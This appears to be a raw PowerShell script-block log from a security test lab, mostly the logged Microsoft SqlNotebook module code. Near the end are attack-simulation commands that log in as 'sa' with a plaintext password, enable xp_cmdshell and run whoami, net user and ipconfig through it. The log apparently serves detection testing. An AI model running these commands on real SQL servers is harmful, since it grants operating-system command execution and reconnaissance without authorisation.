$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.D0c9061b8-f1fe-4a36-8146-fd6cf2666829C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0502529Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificatedb9c8cfe-e927-4be6-a910-a140c001f280
4104152150x0502285Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
6ef65d85-17be-4924-9262-443cade04cfeC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0502279Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificatea88ff3b3-f1f7-4eda-9ce9-61cfc1c5264d
4104152150x0502078Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinuc7db10e0-8479-4c47-9174-6859e6e1da4fC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0502071Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificatecf550d30-6f07-423b-96a6-a4ec3ee9a898
4104152150x0501864Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate632fc833-00cc-4db1-abb9-b7086959e2fc
4104152150x0501658Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate8a384e3c-0ef9-490b-89b3-b42e34d1da91
4104152150x0495467Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: xp_cmdshell enable attempt'
Invoke-Sqlcmd -ServerInstance localhost -Query @'
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
'@9d2a7082-d184-459a-a2bc-2d43d12ea93e
4104152150x0489928Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: xp_cmdshell whoami'
Invoke-Sqlcmd -ServerInstance localhost -Query 'EXEC xp_cmdshell ''whoami'''fa734878-4ec9-4a97-814e-f7de0aa4f50a
4104152150x0487692Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11# Enable xp_cmdshell
Invoke-Sqlcmd -ServerInstance "localhost" -Query "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
# Test xp_cmdshell
Invoke-Sqlcmd -ServerInstance "localhost" -Query "EXEC xp_cmdshell 'whoami'"
# More malicious example that would trigger detection
Invoke-Sqlcmd -ServerInstance "localhost" -Query "EXEC xp_cmdshell 'net user'; EXEC xp_cmdshell 'ipconfig /all'" -OutputAs DataTablesb0e90669-1134-4990-8c28-095865f7eb29
4104152150x0497788Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate:Trued7ee418d-3c70-4c3b-a638-9a11a98cc642